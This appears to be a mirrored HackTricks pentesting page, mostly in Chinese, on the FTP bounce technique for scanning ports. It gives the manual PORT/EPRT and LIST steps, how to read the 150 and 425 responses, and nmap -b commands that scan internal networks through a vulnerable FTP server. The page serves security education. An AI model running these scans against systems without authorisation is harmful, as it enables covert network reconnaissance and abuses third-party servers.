mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
1.3 KiB
1.3 KiB
FTP Bounce attack - Scan
{{#include ../../banners/hacktricks-training.md}}
FTP Bounce - Scanning
Manual
- 连接到易受攻击的FTP
- 使用
PORT或EPRT(但只能使用其中一个)来与您想要扫描的 <IP:Port> 建立连接:
PORT 172,32,80,80,0,8080
EPRT |2|172.32.80.80|8080|
- 使用
LIST(这将仅向连接的 <IP:Port> 发送FTP文件夹中当前文件的列表)并检查可能的响应:150 File status okay(这意味着端口是开放的)或425 No connection established(这意味着端口是关闭的) - 除了
LIST,您还可以使用RETR /file/in/ftp并寻找类似的Open/Close响应。
使用 PORT 的示例(172.32.80.80 的端口 8080 是开放的,端口 7777 是关闭的):
使用 EPRT 的相同示例(图中省略了身份验证):
使用 EPRT 而不是 LIST 打开的端口(不同环境)
nmap
nmap -b <name>:<pass>@<ftp_server> <victim>
nmap -Pn -v -p 21,80 -b ftp:ftp@10.2.1.5 127.0.0.1 #Scan ports 21,80 of the FTP
nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the internal network (of the FTP) ports 21,22,445,80,443
{{#include ../../banners/hacktricks-training.md}}


